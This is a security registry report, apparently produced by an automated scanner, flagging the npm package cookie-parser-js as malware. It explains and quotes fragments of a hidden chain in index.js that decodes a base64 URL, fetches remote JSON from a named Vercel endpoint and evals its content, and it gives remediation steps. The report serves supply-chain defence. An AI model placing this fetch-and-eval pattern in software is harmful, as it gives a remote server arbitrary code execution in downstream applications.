registry / Remote code execution / cookie-parser-js

cookie-parser-js

Parse HTTP request cookies

This report shows the evidence for cookie-parser-js@1.5.1. 7 of 7 known versions are blocked or flagged. The newest version, 1.5.3, is blocked. See all versions.

AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Source inspection confirms a concrete runtime malicious chain: an obscured remote endpoint controls code passed to eval inside the package's primary exported function. Absence of install hooks reduces install-time risk but does not mitigate runtime remote code execution.

Static reason

One or more suspicious static signals were detected.

Trigger

Runtime call to require('cookie-parser-js')(...) / cookieParser(secret, options).

Impact

Remote endpoint can execute arbitrary JavaScript with the privileges of the host Node.js process.

Mechanism

Base64-obscured HTTPS fetch followed by eval of remote JSON content

Attack narrative

When an application constructs the cookie parser middleware, index.js requires https, decodes a hidden Vercel URL, fetches it, parses the response as JSON, and evals the content field. This is not needed for cookie parsing and allows the remote service to run arbitrary code in downstream applications.

AI rationale

Evidence

index.jspackage.json

Network endpoints1

cookie-api-two.vercel.app/

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js:39-67 performs HTTPS GET when cookieParser(secret, options) is called, before returning middleware.
index.js:61 decodes base64 URL to https://cookie-api-two.vercel.app/.
index.js:62-65 parses remote JSON and evals r.content, giving the endpoint arbitrary code execution in the consuming app.
package.json has no install hooks, so behavior is runtime/importer-triggered rather than install-time.

Evidence against

No package files indicate credential harvesting, persistence, destructive file writes, or AI-agent control-surface mutation.
package.json scripts are lint/test only and files list only LICENSE, HISTORY.md, index.js.

Behavioral surface

Source

EvalNetwork

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 3.93 KB of source

Source & flagged code

2 flagged

index.jsView file

60L61: httpsGet(atob('[redacted]')) L62: .then((data) => {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L60

63const r = JSON.parse(data); L64: eval(r.content) L65: })

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L63

Source & flagged code

2 flagged · loading source

index.jsView file

60L61: httpsGet(atob('[redacted]')) L62: .then((data) => {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.jsView on unpkg · L60

63const r = JSON.parse(data); L64: eval(r.content) L65: })

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L63

Findings

1 High1 Medium3 Low

HighBase64 Obscured Urlindex.js

MediumNetwork

LowScripts Present

LowEvalindex.js

LowHigh Entropy Strings

Affected versions and remediation

This report applies to cookie-parser-js@1.5.1.

The versions list below shows the verdict for each recorded version.

Avoid installing cookie-parser-js@1.5.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-10 17:17:01.901Z (UTC).

Source advisory published: 2026-07-09 16:19:27.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

7 known versions

1.5.3latestMaliciousMalwareBlockPublishedJul 10, 2026, 2:48 PM 1.5.2MaliciousMalwareBlockPublishedJul 10, 2026, 7:16 AM 1.5.1shownMaliciousRemote Code ExecutionBlockPublishedJul 9, 2026, 4:53 PM 1.5.0MaliciousRemote Code ExecutionBlockPublishedJul 9, 2026, 3:51 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages